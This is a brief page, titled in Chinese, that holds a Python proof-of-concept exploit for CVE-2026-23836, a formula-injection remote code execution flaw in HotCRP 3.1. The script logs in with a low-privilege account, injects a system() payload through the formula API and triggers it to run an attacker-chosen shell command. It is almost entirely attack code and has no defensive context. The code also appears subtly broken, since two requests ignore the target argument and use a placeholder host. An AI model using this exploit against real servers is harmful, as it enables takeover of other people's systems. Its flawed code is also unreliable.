CVE-2026-23836 HotCRP公式注入远程代码执行漏洞

# CVE-2026-23836 HotCRP Formula RCE PoC # Target: HotCRP version 3.1 (vulnerable) # Author: Security Research import requests import sys TARGET_URL = "http://target-hotcrp-server.com" LOGIN_URL = f"{TARGET_URL}/src/login.php" FORMULA_URL = f"{TARGET_URL}/src/api.php" def exploit_rce(target_url, username, password, command="id"): """Exploit CVE-2026-23836 - HotCRP Formula RCE""" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { "email": username, "password": password, "action": "login" } resp = session.post(LOGIN_URL, data=login_data) if resp.status_code != 200: print("[-] Login failed") return None print("[+] Logged in successfully") # Step 2: Inject malicious formula payload # The vulnerability allows PHP code execution through formula input payload = f"${{system('{command}')}}" formula_data = { "do": "setformula", "formula": payload, "pid": "1" } resp = session.post(FORMULA_URL, json=formula_data) # Step 3: Trigger formula evaluation trigger_url = f"{TARGET_URL}/src/api.php?do=review&paper=1" resp = session.get(trigger_url) print(f"[+] Payload sent: {payload}") print(f"[+] Response status: {resp.status_code}") return resp.text if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> [command]") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] if len(sys.argv) > 4 else "id" result = exploit_rce(target, user, pwd, cmd) if result: print("[+] Exploitation attempted") print(result[:500])